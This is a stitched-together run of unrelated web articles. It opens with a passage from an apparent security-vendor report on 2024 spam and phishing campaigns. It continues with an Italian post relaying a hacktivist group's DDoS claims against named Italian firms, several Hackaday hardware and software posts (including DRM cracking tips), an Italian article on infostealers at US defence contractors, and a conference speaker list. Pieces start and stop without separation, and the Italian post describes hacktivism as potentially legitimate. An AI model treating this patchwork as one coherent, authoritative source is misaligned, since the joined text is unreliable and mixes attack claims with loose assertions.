In 2024, there was an increase in emails distributing password-protected archives containing malicious content. Sometimes, these files were included not as attachments but via download links, which also required a password. Presumably, this was the attackers’ attempt to bypass email security filters. Typically, the archive password was mentioned in the email text, and sometimes in the attachment’s filename. Notably, fraudsters often disguised malicious archives or links as files with other extensions, such as PDF, XLS, or DOC.

Since April 2024, we have been recording similar distributions of files with the double extension .PDF.RAR, targeting employees of Russian companies in the government, financial, manufacturing, and energy sectors.

We assume that these messages were sent from compromised email accounts of the recipients’ business partners. Some emails contained real correspondence, to which attackers replied with an email containing the malware. All the emails we examined in this campaign were unique. The attackers likely crafted messages to closely mimic the style of the compromised business partner.

Similar messages containing malicious files were also found in other languages. However, unlike campaigns targeting Russian-speaking users, these had more general themes—attachments were disguised as invoices, commercial offers, supply orders, tender schedules, court notices, and other documents.

Pre-trial claims and lawsuits

Last year, attackers frequently threatened legal action to convince victims to click dangerous links or open malicious attachments. These messages primarily targeted Russian companies but were also observed in other languages. Typically, fraudsters posed as business partners, demanding debt repayment; otherwise, they “would be forced to take the matter to arbitration court.” In one such campaign, pre-trial claims in attachments were .DOC files containing VBA scripts. These scripts established connections with command servers and downloaded, saved, and executed malicious files on the victim’s device. Kaspersky’s products detect this payload with the verdict HEUR:Trojan-Downloader.MSOffice.Sload.gen.

In some cases, cybercriminals gave no reason for their legal threats but instead attempted to shock victims with an already “filed” lawsuit to pressure them into opening the attachment. Of course, it contained malware.

Emails with malicious SVG files

According to our observations, the past year saw a rise in the distribution of malicious SVG files. Disguised as harmless images, these files contained scripts that downloaded and installed additional malware on the victim’s device. (Our solutions detect these scripts as Trojan.Script.Agent.sy and Trojan.Script.Agent.qe.) The emails we encountered were written in Spanish and posed as fake legal case notifications and court summons. The text included a password for opening the attached file.

Threats to businesses

Fake deals

A special category of emails that users complained about in 2024 was requests for quotation from suspicious senders. These emails were sent either from free email addresses or recently created domains. Attackers signed the emails with the names of large companies, included links to their websites, and sometimes even used official company logos. These emails followed a uniform template: the “buyers” briefly introduced themselves, expressed interest in the recipient’s products, and requested a catalog or price list. Interestingly, the fraudsters did not seem to care about the type of goods involved.

If the recipient responded, events could unfold in two ways. In some cases, after receiving a reply to the initial seemingly legitimate request, the fraudsters sent malicious attachments or links in the next email.

In another scenario, the “buyers” engaged in further correspondence with their “potential partner”—the victim—discussing details and insisting on their conditions, including post-payment and requiring the seller to cover customs duties. This meant that the supplier bore all the risks of delivery and could lose their goods without receiving any payment.

Facebook

In the spring of 2024, we discovered an interesting phishing email scheme that leveraged legitimate Facebook notifications. The service sent entirely legitimate emails to users mentioned in threatening posts. The attackers used compromised Facebook accounts, renamed to “24 Hours Left To Request Review. See Why,” and changed the profile picture to an icon featuring an orange exclamation mark.

Then, the fraudsters created posts on these pages tagging the business accounts of potential victims. The tagged users received notifications from the alarmingly-named pages.

These posts contained more details than the emails: victims were warned about an impending account ban due to a complaint from another user. To dispute the ban for violating service terms, the recipient of the “notification” was required to follow a phishing link from the post—leading to a fake site with Meta logos that requested Facebook login credentials.

We also found phishing emails containing legitimate Facebook links in October 2024, but this time without using the platform’s infrastructure. These emails contained notifications of lawsuits for copyright infringement and the removal of unlawful posts from the recipient’s profile. The target was warned that their personal and business pages would be blocked within 24 hours, pressuring them to take hasty and careless action.

However, they were immediately offered the chance to appeal by contacting the “Appeal Support Center.” The link in the email led to a phishing site disguised as Meta’s support service, where the victim was also asked to enter their profile password. To make the phishing link more convincing, a legitimate mechanism for redirecting users to external Facebook resources was used.

At the end of 2024, we noticed an email campaign targeting companies promoting their business pages on Facebook. These emails mimicked official Meta for Business notifications and threatened to block the user’s account and business page for violating the platform’s rules and community policies.

To dispute these accusations, the fraudsters urged the profile owners to click a link to contact “Facebook support” in a legitimate messenger. However, in reality, the victim was communicating with the owner of a fan page called “Content Moderation Center,” imitating an official support service employee. The scam could have been identified by the “Fan Page” label in the chat, though it was easy to miss.

News agenda

In 2024, scammers continued to exploit news agenda in spam campaigns.

During the UEFA Euro 2024 football championship in Germany, emails began to appear offering merchandise with UEFA EURO 2024 logos.

After Pavel Durov’s arrest in Paris, we noticed English-language messages calling for donations to supposedly fund his legal defense.

In the fall of last year, a scam campaign began circulating, offering not-yet-released MacBook Pro M4 devices at low prices or even for free. The links in these emails led to fake websites imitating major marketplaces.

Before Black Friday, we recorded a surge in spam offering exclusive discounts. The links in these messages lured victims to sites disguised as marketplaces, electronics stores, and financial institutions.

B2B spam campaigns

Online promotion services

One of the most common categories of spam email in 2024, complained of frequently by our corporate clients, was commercial offers for online promotion. Users were offered services such as creating or redesigning websites, setting up SEO tools, and purchasing databases with potential client contacts and other information. Other advertised services included guest post placement with backlinks to the client’s site, writing positive reviews, removing negative reviews, and creating personalized email campaigns. While these messages are not malicious or fraudulent, they are mass-distributed and unsolicited, causing inconvenience to users. The popularity of this type of spam is likely driven by the development of digital marketing tools and the search for new clients for small- and medium-sized businesses amid growing online competition.

Buying likes and followers on social media

We also frequently encountered business offers for the online promotion of company accounts on social media. Spammers sell fake likes and followers. They often pose as employees of real social media marketing firms, claiming to be industry leaders. At the end of their emails, the spammers included a link to a marketing platform and payment options for their services. One such campaign, which we observed throughout the past year and is still active, stood out due to the variety of languages used in the emails and the diversity of domain names. With these tactics, the spammers aimed to reach a global audience.

AI in B2B emails

The growing popularity of neural networks has led companies to actively integrate AI into their business processes. We assume that clients of such organizations, in turn, are drawn to service offers that incorporate neural networks. As a natural consequence of this trend, AI-driven solutions began appearing in spam campaigns advertising online marketing services.

Spammers emphasized using AI, particularly ChatGPT, to perform various business tasks. We identified the following themes in these emails:

• Attracting website traffic
• Creating advanced lead generation strategies
• Developing unique approaches tailored to a brand’s identity
• Producing and publishing content
• Launching personalized multi-channel marketing campaigns
• Creating custom videos for YouTube channels

Other topics also appeared in spam emails, but they all shared the same goal—enhancing business processes and attracting potential clients.

Another particularly popular category of spam related to neural networks was advertising online events. Last year, we encountered numerous examples of emails promoting webinars about the promising capabilities and practical applications of AI in business operations.

Targeted phishing in 2024

In 2024, two main trends were observed in targeted phishing:

1. Notifications on behalf of a company’s HR department. Employees were asked to fill out or sign a document, such as a vacation schedule, accessible via a link in an email. Sometimes, instead of routine requests, attackers resorted to more extravagant tactics—such as inviting employees to check if they were on a list of staff to be dismissed.

Phishing email from HR

In all these cases, the common factor was that clicking the link led the employee to a phishing login page instead of the actual corporate portal. Most often, attackers targeted Microsoft accounts, though some phishing forms mimicked internal corporate resources.

Fake login form

1. Emails from a seller to a buyer, or vice versa. One common scheme involved a buyer or seller asking the victim to review an offer or respond to questions about product delivery and required specifications. These emails contained attached documents that actually concealed phishing links.

Example of a phishing email from a seller

When attempting to open the attachment, the user was redirected to a phishing page. As in the previous case, these fake forms harvested Microsoft credentials and corporate account logins.

Fake password entry form

Statistics: phishing

The number of phishing attacks in 2024 increased compared to the previous year. Kaspersky solutions blocked 893,216,170 attempts to follow phishing links—26% more than in 2023.

Number of Anti-Phishing triggerings, 2024 (download)

Map of phishing attacks

Users from Peru (19.06%) encountered phishing most often. Greece (18.21%) ranked second, followed by Vietnam (17.53%) and Madagascar (17.17%). They are closely followed by Ecuador (16.90%), Lesotho (16.87%) and Somalia (16.70%). The final places in the TOP 10 are occupied by Brunei (16.55%), Tunisia (16.51%) and Kenya (16.38%).

* Share of users who encountered phishing out of the total number of Kaspersky users in the country/territory, 2024

Top-level domains

The most common domain zone hosting phishing sites remains the COM zone (29.78%)—its popularity has increased one and a half times compared to 2023. In second place is the XYZ domain (7.10%), which ranked fifth last year, followed by TOP (6.97%), which retained its position in the top ten. Next, with a slight margin from each other, are the ONLINE (4.25%) and SITE (3.87%) domain zones, where phishing sites were less actively hosted last year. The Russian RU domain (2.23%) and the global NET domain (2.02%) are in sixth and seventh place, respectively. Following them are CLICK (1.41%) and INFO (1.35%)—the year before, these zones were not frequently used. Closing the top ten is another national domain: UK, with a share of 1.33%.

Most frequent top-level domains for phishing pages, 2024 (download)

Organizations targeted by phishing attacks

The rating of organizations targeted by phishers is based on the detections of the deterministic component in the Anti-Phishing system on user computers. The component detects all pages with phishing content that the user has tried to open by following a link in an email message or on the web, as long as links to these pages are present in the Kaspersky database.

In 2024, the highest number of attempts to access phishing links blocked by Kaspersky solutions was associated with pages imitating various web services (15.75%), surpassing global internet portals (13.88%), which held the top position in 2023. The third and fourth positions in last year’s top ten also swapped places: banks moved ahead (12.86%), overtaking online stores at 11.52%. Attackers were also interested in social media (8.35%) and messengers (7.98%): attacks targeting them strengthened their positions in the ranking. For websites imitating delivery services, we observed a decline in phishing activity (6.55%), while the share of payment systems remained unchanged at 5.82%. Also included in the list of the most frequently targeted organizations were online games (5.31%) and blogs (3.75%).

Distribution of organizations targeted by phishers, by category, 2024 (download)

Statistics: spam

Share of spam in email traffic

In 2024, spam emails accounted for 47.27% of the total global email traffic, an increase of 1.27 p.p. compared to the previous year. The lowest spam levels were recorded in October and November, with average shares dropping to 45.33% and 45.20%, respectively. In December, we observed a seemingly slight upward trend in junk emails, resulting in the fourth quarter of the year being the calmest. Spam activity peaked in the summer, with the highest number of emails recorded in June (49.52%) and July (49.27%).

Share of spam in global email traffic, 2024 (download)

In the Russian internet segment, the average spam share exceeded the global figure, reaching 48.57%, which is 1.98 p.p. higher than in 2023. As in the rest of the world, spammers were least active at the end of the year: in the fourth quarter, 45.14% of emails were spam. However, unlike global trends, in Runet, we recorded four months during which the spam share exceeded half of all traffic: March (51.01%), June (51.53%), July (51.02%), and September (51.25%). These figures identified the third quarter as the most active, with a share of 50.46%. December was the calmest month, and interestingly, despite spam levels being generally high or the same in Russia, the number of spam emails in December was lower than the global figure: 44.56%.

Share of spam in Runet email traffic, 2024 (download)

Countries and territories where spam originated

We continue to observe an increase in the share of spam sent from Russia—from 31.45% to 36.18%. The United States and mainland China, which held second and third place last year, swapped positions, with China’s share increasing by 6 p.p. (17.11%) and the US share decreasing by 3 p.p. (8.40%). Kazakhstan, which entered the top twenty for the first time last year, rose from eighth to fourth place (3.82%), pushing Japan (2.93%) down, and causing Germany, previously in fifth place, to drop one position with a share of 2.10%. India’s share slightly decreased, but the country moved up two positions from last year to seventh place. Conversely, the amount of spam sent from Hong Kong more than doubled (1.75%), allowing this territory to take eighth place in the top twenty. Next come Brazil (1.44%) and the Netherlands (1.25%), whose shares continued to decline.

TOP 20 countries and territories where spam originated in 2024 (download)

Malicious email attachments

In 2024, Kaspersky solutions detected 125,521,794 attempts to open malicious email attachments, ten million fewer than the previous year. Interestingly, one of the peaks in email antivirus detections occurred in April—in contrast to 2023, when this month had the lowest malicious activity. In January and December, we observed a relative decrease in detections, while increases were noted in spring and autumn.

Number of email antivirus detections, 2024 (download)

The most common malicious email attachments were Agensla stealers (6.51%), which ranked second last year. Next were Badun Trojans (4.51%), which spread in archives disguised as electronic documents. The Makoob family moved from eighth to third place (3.96%), displacing the Noon spyware (3.62%), which collects browser passwords and keystrokes. The malicious Badur PDFs, the most common attachments in 2023, dropped to fifth place with a 3.48% share, followed by phishing HTML forms from the Hoax.HTML.Phish family (2.93%). Next in line were Strab spyware Trojans (2.85%), capable of tracking keystrokes, taking screenshots, and performing other typical spyware actions. Rounding out the top ten were SAgent VBS scripts (2.75%), which were not as actively used last year, the Taskun family (2.75%), which maintained its previous share, and PDF documents containing phishing links, Hoax.PDF.Phish (2.11%).

TOP 10 malware families distributed as email attachments, 2024 (download)

The list of the most widespread malware reflects trends similar to the distribution of families, with a few exceptions: the Hoax.HTML.Phish variant of malicious HTML forms dropped two positions (2.20%), and instead of a specific Strab Trojan sample, the top ten included the ISO image Trojan.Win32.ISO.gen, distributed via email (1.39%).

TOP 10 malicious programs distributed as email attachments, 2024 (download)

Countries and territories targeted by malicious mailings

In 2024, users in Russia continued to face malicious email attachments more frequently than other countries, although the share of email antivirus detections in this country decreased compared to last year, to 11.37%. China ranked second (10.96%), re-entering the top twenty after several years. Next came Spain (8.32%), Mexico (5.73%), and Turkey (5.05%), which dropped one position each with a slight decline in malicious attachments. Switzerland (4.82%) took sixth place, appearing in the ranking for the first time. Following them were Vietnam (3.68%), whose share declined, and the UAE (3.24%), which strengthened its position in the ranking. Also among frequent targets of malicious spam were users from Malaysia (2.99%) and Italy (2.54%).

TOP 20 countries and territories targeted by malicious mailings, 2024 (download)

Conclusion

Political and economic crises will continue to provide new pretexts for fraudulent schemes. In some cases presented in the 2024 report, we can observe the “greed” of cybercriminals: the use of two different company brands on the same page; a credible fake of a resource aimed not at stealing credentials but at stealing money; comprehensive questionnaires that can lead not only to loss of access to funds but also to identity theft. Such multi-layered threats may become a new trend in phishing and scam attacks.

We continue to observe major news events being exploited in spam campaigns that promise easy earnings and discounted goods or services. The growing user interest in artificial intelligence tools is actively being leveraged by spammers to attract an audience, and this trend will undoubtedly continue.

securelist.com/spam-and-phishi…

I canali Telegram degli hacker filorussi di NoName057(16) sono stati eliminati da telegram. Ma subito gli attivisti ricreano nuovi canali marchiati con il suffisso “reborn“.

Ma non è tutto, nei loro primi post sui nuovi canali, pubblicano un nuovo attacco ad infrastrutture italiane con attacchi di Distributed Denial-of-Service (DDoS) frutto del progetto DDoSia da loro coordinato.

NoName057(16) è un gruppo di hacker che si è dichiarato a marzo del 2022 a supporto della Federazione Russa. Hanno rivendicato la responsabilità di attacchi informatici a paesi come l’Ucraina, gli Stati Uniti e altri vari paesi europei. Di seguito viene riportato il messaggio presente nel post di oggi sul loro nuovo canale telegram.
Schiacciare l'infrastruttura internet italiana

❌Banca d'investimento italiana Mediobanca Banca di Credito Finanziario SpA (chiuso da geo)
check-host.net/check-report/233b848ck43e

❌Benelli Armi S.p.A. è un'azienda italiana produttrice di armi da fuoco
check-host.net/check-report/233b883fk23

❌Nexi - Società finanziaria italiana
check-host.net/check-report/233b899aka73

❌Fiocchi Munizioni - Il più grande produttore italiano di munizioni (chiuso per motivi geo)
check-host.net/check-report/233b8a88k5e4

❌Franchi - Azienda italiana produttrice di armi da fuoco
check-host.net/check-report/233b8be5k793

❌Danieli - azienda italiana internazionale, fornitrice di attrezzature e impianti per l'industria metallurgica
check-host.net/check-report/233b8d24k48

Che cos’è un attacco Distributed Denial of Service

Un attacco DDoS (Distributed Denial of Service) è un tipo di attacco informatico in cui vengono inviate una grande quantità di richieste a un server o a un sito web da molte macchine diverse contemporaneamente, al fine di sovraccaricare le risorse del server e renderlo inaccessibile ai suoi utenti legittimi.

Queste richieste possono essere inviate da un grande numero di dispositivi infetti da malware e controllati da un’organizzazione criminale, da una rete di computer compromessi chiamata botnet, o da altre fonti di traffico non legittime. L’obiettivo di un attacco DDoS è spesso quello di interrompere le attività online di un’organizzazione o di un’azienda, o di costringerla a pagare un riscatto per ripristinare l’accesso ai propri servizi online.

Gli attacchi DDoS possono causare danni significativi alle attività online di un’organizzazione, inclusi tempi di inattività prolungati, perdita di dati e danni reputazionali. Per proteggersi da questi attacchi, le organizzazioni possono adottare misure di sicurezza come la limitazione del traffico di rete proveniente da fonti sospette, l’utilizzo di servizi di protezione contro gli attacchi DDoS o la progettazione di sistemi resistenti agli attacchi DDoS.

Occorre precisare che gli attacchi di tipo DDoS, seppur provocano un disservizio temporaneo ai sistemi, non hanno impatti sulla Riservatezza e Integrità dei dati, ma solo sulla loro disponibilità. pertanto una volta concluso l’attacco DDoS, il sito riprende a funzionare esattamente come prima.

Che cos’è l’hacktivismo cibernetico

L’hacktivismo cibernetico è un movimento che si serve delle tecniche di hacking informatico per promuovere un messaggio politico o sociale. Gli hacktivisti usano le loro abilità informatiche per svolgere azioni online come l’accesso non autorizzato a siti web o a reti informatiche, la diffusione di informazioni riservate o il blocco dei servizi online di una determinata organizzazione.

L’obiettivo dell’hacktivismo cibernetico è di sensibilizzare l’opinione pubblica su questioni importanti come la libertà di espressione, la privacy, la libertà di accesso all’informazione o la lotta contro la censura online. Gli hacktivisti possono appartenere a gruppi organizzati o agire individualmente, ma in entrambi i casi utilizzano le loro competenze informatiche per creare un impatto sociale e politico.

È importante sottolineare che l’hacktivismo cibernetico non deve essere confuso con il cybercrime, ovvero la pratica di utilizzare le tecniche di hacking per scopi illeciti come il furto di dati personali o finanziari. Mentre il cybercrime è illegale, l’hacktivismo cibernetico può essere considerato legittimo se mira a portare all’attenzione pubblica questioni importanti e a favorire il dibattito democratico. Tuttavia, le azioni degli hacktivisti possono avere conseguenze legali e gli hacktivisti possono essere perseguiti per le loro azioni.

Chi sono gli hacktivisti di NoName057(16)

NoName057(16) è un gruppo di hacker che si è dichiarato a marzo del 2022 a supporto della Federazione Russa. Hanno rivendicato la responsabilità di attacchi informatici a paesi come l’Ucraina, gli Stati Uniti e altri vari paesi europei. Questi attacchi vengono in genere eseguiti su agenzie governative, media e siti Web di società private

Le informazioni sugli attacchi effettuati da NoName057(16) sono pubblicate nell’omonimo canale di messaggistica di Telegram. Secondo i media ucraini, il gruppo è anche coinvolto nell’invio di lettere di minaccia ai giornalisti ucraini. Gli hacker hanno guadagnato la loro popolarità durante una serie di massicci attacchi DDOS sui siti web lituani.

Le tecniche di attacco DDoS utilizzate dal gruppo sono miste, prediligendo la “Slow http attack”.

La tecnica del “Slow Http Attack”

L’attacco “Slow HTTP Attack” (l’articolo completo a questo link) è un tipo di attacco informatico che sfrutta una vulnerabilità dei server web. In questo tipo di attacco, l’attaccante invia molte richieste HTTP incomplete al server bersaglio, con lo scopo di tenere occupate le connessioni al server per un periodo prolungato e impedire l’accesso ai legittimi utenti del sito.

Nello specifico, l’attacco Slow HTTP sfrutta la modalità di funzionamento del protocollo HTTP, che prevede che una richiesta HTTP sia composta da tre parti: la richiesta, la risposta e il corpo del messaggio. L’attaccante invia molte richieste HTTP incomplete, in cui il corpo del messaggio viene inviato in modo molto lento o in modo incompleto, bloccando la connessione e impedendo al server di liberare le risorse necessarie per servire altre richieste.

Questo tipo di attacco è particolarmente difficile da rilevare e mitigare, poiché le richieste sembrano legittime, ma richiedono un tempo eccessivo per essere elaborate dal server. Gli attacchi Slow HTTP possono causare tempi di risposta molto lenti o tempi di inattività del server, rendendo impossibile l’accesso ai servizi online ospitati su quel sistema.

Per proteggersi da questi attacchi, le organizzazioni possono implementare soluzioni di sicurezza come l’uso di firewall applicativi (web application firewall o WAF), la limitazione delle connessioni al server e l’utilizzo di sistemi di rilevamento e mitigazione degli attacchi DDoS

L'articolo NoName057(16) Cancellato da Telegram! Ma subito il “Reborn” Con Attacchi DDoS All’Italia! proviene da il blog della sicurezza informatica.

One can 3D print with conductive filament, and therefore plausibly create passive components like resistors. But what about active components, which typically require semiconductors? Researchers at MIT demonstrate working concepts for a resettable fuse and logic gates, completely 3D printed and semiconductor-free.

Now just to be absolutely clear — these are still just proofs of concept. To say they are big and perform poorly compared to their semiconductor equivalents would be an understatement. But they do work, and they are 100% 3D printed active electronic components, using commercially-available filament.

How does one make a working resettable fuse and transistor out of such stuff? By harnessing thermal expansion, essentially.

The conductive filament the researchers used is Electrifi by Multi3D, which is PLA combined with copper micro-particles. A segment printed in this filament is normally very conductive due to the densely-packed particles, but as temperature increases (beginning around 40° C) the polymer begins to soften and undergoes thermal expansion. This expansion separates the copper particles, causing a dramatic increase in electrical resistance as electrical pathways are disrupted. That’s pretty neat, but what really ties it together is that this behavior is self-resetting, and reversible. As long as the PLA isn’t straight up melted (that is to say, avoids going over about 150° C) then as the material cools it contracts and restores the conductive pathways to their original low-resistance state. Neat!

So where does the heat required come from? Simply passing enough current through the junction will do the job. By carefully controlling the size and shape of traces (something even hobbyist filament-based 3D printers are very good at) this effect can be made predictable and repeatable.

The simpler of the two test components uses the resistance spike as a self-resetting fuse. The printed component is designed such that current above a threshold triggers a surge in resistance, preventing damage to some theoretical circuitry downstream. As long as the component is not destroyed by heating it to the point that it melts, it self-resets as it cools.

The transistor is a bit more interesting. By designing two paths so that they intersect each other, one can be used as a control path and the other as a signal path. Applying a voltage to the control path electrically controls the resistance of the signal path, effectively acting as a transistor. Researchers combined these basic transistors into NOT, AND, and OR gates. One is shown here.

This whole system is scalable, low-cost, and highly accessible to just about anyone with some basic equipment. Of course, it has some drawbacks. The switching speed is slow (seconds rather than nanoseconds) and being thermally-driven means power consumption is high. Still, it’s pretty nifty stuff. Check out the research paper for all the nitty-gritty details.

We’ve seen 3D printed triboelectric generators so it’s pretty exciting to now see printed active electronic components. Maybe someday they can be combined?

hackaday.com/2025/02/19/mit-de…

Miliardi di dollari, tecnologie avanzate e i più rigidi protocolli di sicurezza: niente di tutto questo ha protetto le strutture militari e le aziende di difesa americane dai più comuni reati informatici.

Lo Studio Hudson Rock mostra che decine di dipendenti di importanti appaltatori della difesa, tra cui Lockheed Martin e Boeing così come il personale dell’esercito e della marina degli Stati Uniti, sono stati infettati dagli infostealer. Credenziali, sessioni VPN, e-mail e persino l’accesso a sistemi di approvvigionamento chiusi sono ora nelle mani dei criminali informatici.

Basta un download accidentale di un file infetto sul tuo computer: un keygenerator di un gioco, un programma hackerato o un documento PDF trojanizzato è sufficente per installare un infostealer. Una volta installato, il malware raccoglie di tutto, dalle password alla cronologia del browser, fino ai file dal computer di lavoro. E poi i dati vengono venduti sul darknet. Il prezzo medio per l’accesso completo al computer di lavoro di un dipendente di un’azienda militare con dati sensibili è di soli 10 dollari.

Questo tipo di attacco si è dimostrato estremamente efficace. Secondo i dati raccolti negli ultimi anni sono stati infettati più di 30 milioni di computer. Di questi, circa il 20% conteneva account aziendali, tra cui quelli di società che collaborano con la sicurezza nazionale degli Stati Uniti.

Particolarmente pericolosi sono i cookie di sessione attivi, che consentono ai criminali di accedere istantaneamente a sistemi protetti senza dover immettere dati di accesso e password. Nemmeno l’autenticazione a più fattori (MFA) sarà utile se un aggressore riesce ad accedere alla sessione attiva di un utente.

L’esempio di Honeywell mostra la portata del problema. Dal 2024, sono stati rubati 56 account aziendali a 398 dipendenti dell’azienda, tra cui l’accesso ai sistemi interni SAP, Bitbucket e SharePoint. Inoltre, sono trapelati gli accessi a servizi di terze parti: Microsoft, Cisco e SAP.

Ma la vera minaccia va ben oltre l’ambito del business privato. Tra le vittime c’erano membri della Marina Militare statunitense il cui accesso ai sistemi Citrix, OWA, Confluence e perfino alle piattaforme di addestramento militare era finito nelle mani degli aggressori. Ciò apre la porta ad attacchi contro installazioni militari critiche. Gli esperti sottolineano che se tali dati dovessero finire nelle mani di paesi ostili, le informazioni ottenute potrebbero essere utilizzate per penetrare in profondità nelle infrastrutture militari.
Elenco delle aziende i cui dipendenti sono rimasti vittime di infostealer (Hudson Rock)
Le principali misure di protezione includono:

• Divieto di utilizzare dispositivi personali per lavoro: molte infezioni si verificano tramite computer utilizzati sia per attività personali che lavorative;
• Rigorosa politica di download del software: utilizzare solo software con licenza;
• Autenticazione multilivello con monitoraggio continuo della sessione: se i cookie di sessione vengono rubati, devono essere prontamente cancellati;
• Monitorare costantemente le fughe di dati nel darknet: le aziende devono monitorare le fughe di dati dei propri dipendenti.

Hudson Rock ammette che Infostealer non è più solo uno strumento di hacking criminale, ma una minaccia per la sicurezza nazionale. Anche le aziende e le organizzazioni che mantengono rigidi standard di sicurezza informatica diventano vittime a causa delle vulnerabilità dei loro appaltatori e partner. La questione non è se le perdite possano essere prevenute, ma quanto velocemente possano essere individuate e neutralizzate.

L'articolo Infostealer: Quando un clic sbagliato ti fa vendere la Sicurezza Nazionale USA per soli 10 dollari! proviene da il blog della sicurezza informatica.

OpenSCAD has a lot of fans around these parts — if you’re unaware, it’s essentially a code-based way of designing 3D models. Instead of drawing them up in a CAD program, one writes a script that defines the required geometry. All that is made a little easier with the Belfry OpenSCAD Library (BOSL2).
Designing a part like this is a cinch with BOSL2.
BOSL2 has an extensive library of base shapes, advanced functions for manipulating models, and some really nifty tools for creating attachment points on parts and aligning components with one another. If that sounds handy for designing useful objects, you’re in for even more of a treat when you see their functions for gears, hinges, screws, and more.

There’s even one that covers bottle necks and caps. (Those are all standardized by the way, so it’s never been easier to interface to existing bottles or caps in a project.)

OpenSCAD really is very versatile software. It powers useful tools like this screw, washer, and nut generator as well as having more unusual applications like a procedural terrain generator. It’s free, so if you’ve never looked into it, check it out!

hackaday.com/2025/02/18/belfry…

Vacuum forming is perhaps one of the less popular tools in the modern maker arsenal, something which surprises us a bit because it offers many possibilities. We’ve created our own vacuum forms on 3D printed moulds for ages, so it’s interesting to see [Pisces Printing ] following the same path. But what you might not realize at first is that the vacuum forming sheets themselves are also 3D printed.

The full video is below the break, and in it he details making a mould from PETG, and in particular designing it for easy release. The part he’s making is a belt guard for a table top lathe, and the PETG sheet he’s forming it from is also 3D printed. He makes the point that it’s by no means perfect, for example he shows us a bit of layer separation, but it seems promising enough for further experimentation. His vacuum forming setup seems particularly small, which looks as though it makes the job of making a sheet somewhat simpler.

The cost of a vacuum forming sheet of whichever polymer is hardly high, so we can’t see this technique making sense for everyday use. But as we’ve seen in previous experiments, the printed sheets so make it easy to add color and texture to the final product, which obviously adds some value to the technique.

youtube.com/embed/lTR3ZY2X1Rk?…

Thanks [Tomas Harvie Mudrunka] for the tip.

hackaday.com/2025/02/18/vacuum…

To the extent that you’re familiar with magnetostriction, you probably know that it’s what makes big transformers hum, or that it’s what tips you off if you happen to walk out of a store without paying for something. But magnetostriction has other uses, too, such as in this clever linear position sensor.

Magnetostriction is just the tendency for magnetic materials to change size or shape slightly while undergoing magnetization, thanks to the tiny magnetic domains shifting within the material while they’re aligning. [Florian B.]’s sensor uses a side effect of magnetostriction known as the Wiedenmann effect, which causes a wire to experience a twisting force if a current pulse is applied to it in a magnetic field. When the current pulse is turned off, a mechanical wave travels along the wire to a coil, creating a signal. The difference in time between sending the pulse and receiving the reflection can be used to calculate the position of the magnet along the wire.

To turn that principle into a practical linear sensor, [Florian B.] used nickel wire stretched tightly down the middle of a PVC tube. At one end is a coil of copper magnet wire, while the other end has a damper to prevent reflections. Around the tube is a ring-shaped cursor magnet, which can move up and down the tube. An exciter circuit applies the current pulse to the wire, and an oscilloscope is used to receive the signal from the wire.

This project still appears to be in the prototype phase, as evidenced by the Fischertechnik test rig. [Florian] has been working on the exciter circuit most recently, but he’s done quite a bit of work on optimizing the cursor magnet and the coil configuration, as well as designs for the signal amplifier. It’s a pretty neat project, and we’re looking forward to updates.

If you need a deeper dive into magnetostriction, [Ben Krasnow] points the way.

hackaday.com/2025/02/18/a-uniq…

With the news that Amazon will no longer be allowing users to download their Kindle books after February 26th, many are scrambling to download their books before it’s too late. The most up-to-date project for automating this process appears to be Amazon Kindle Bulk Downloader.

As the company that famously removed 1984 from thousands of devices without users permission, this is a move that shouldn’t be surprising, but is still disappointing, especially for those of us that were somewhat early adopters of ebooks with Kindles that don’t have a WiFi connection. (Yes, you can tell us about how you bought a Sony reader before the Kindle even came out in the comments.)

The Typescript-coded tool runs inside bun which can be installed in any of the big three OSes and even has a handy Docker image if that’s more your speed. Whether you use this tool or not, if you have any Kindle books we’d implore you to download them now.

Once you’ve downloaded those books, how about cracking the DRM either with LEGO or with software like Calibre. You could load it on a completely Open Source Reader then.

hackaday.com/2025/02/18/auto-d…

In a recent video, [Shahriar] from The Signal Path has unveiled the intricate design and architecture of optical HDMI cables, offering a cost-effective solution to extend HDMI 2.0 connections beyond the limitations of traditional copper links. This exploration is particularly captivating for those passionate about innovative hardware hacks and signal transmission technologies.

[Shahriar] begins by dissecting the fundamentals of HDMI high-speed data transmission, focusing on the Transition Minimized Differential Signaling (TMDS) standard. He then transitions to the challenges of converting from twisted-pair copper to optical lanes, emphasizing the pivotal roles of Vertical-Cavity Surface-Emitting Lasers (VCSELs) and PIN photodiodes. These components are essential for transforming electrical signals into optical ones and vice versa, enabling data transmission over greater distances without significant signal degradation.

A standout aspect of this teardown is the detailed examination of the optical modules, highlighting the use of free-space optics and optical confinement techniques with lasers and detectors. [Shahriar] captures the eye diagram of the received high-speed lane and confirms the VCSELs’ optical wavelength at 850 nm. Additionally, he provides a microscopic inspection of the TX and RX chips, revealing the intricate VCSEL and photodetector arrays. His thorough analysis offers invaluable insights into the electronic architecture of optical HDMI cables, shedding light on the complexities of signal integrity and the innovative solutions employed to overcome them.

For enthusiasts eager to take a deeper look into the nuances of optical HDMI technology, [Shahriar]’s comprehensive teardown serves as an excellent resource. It not only gives an insight in the components and design choices involved, but also inspires further exploration into enhancing data transmission methods.

youtube.com/embed/O9QPecpLcnA?…

hackaday.com/2025/02/18/let-th…

If you’ve been waiting for news from our upcoming Hackaday Europe event in March, wait no longer. We’re excited to announce the first slice of our wonderful speakers lineup! Get your tickets now,

Hackaday Europe is going down again in Berlin this year on March 15th and 16th at MotionLab. It’s Hackaday, but in real life, and it’s too much fun. The badge is off-the-scale cool, powered by the incredible creativity of our community who entered the Supercon SAO contest last fall, and we’re absolutely stoked to be tossing the four winning entries into your schwag bag in Europe.

If you already know you’ll be attending and would like to give a seven-minute Lightning Talk on Sunday, we’re also opening up the call for talks there. Tell us now what you’d like to talk about so we can all hear it on Sunday morning.

We’re looking forward to the talks and to seeing you all there! We’re getting the last few speakers ironed out, have a keynote talk to announce, and, of course, will open up workshop signups. So stay tuned!

Bunnie Huang
Seeing Through Silicon with IRIS Imaging

IRIS (InfraRed, In-Situ) is a technique for imaging silicon chips in CSP-type packages without removing them from the circuit board. In this short talk, I’ll go over the basics of how the technique works, show a couple of ways to implement it, and share some images of chips.

Sera Evcimen
Hardware Startup/Product Pitfalls

This talk is designed to demystify what causes failures and help hardware startups and innovation projects navigate the complex journey of hardware development by identifying and avoiding common pitfalls. With a focus on providing some examples and actionable strategies, it aims to equip teams to overcome challenges and build a strong foundation for success.

Erik Bosman
Creating light sculptures for fun and, … mostly for fun.

This talk will be about solving interesting problems that I created for myself in the process of creating light sculptures:

– Calculating polyhedral shapes
– Turning those into laser-cut pieces, or oddly-shaped PCBs
– Various methods of routing and driving LEDs
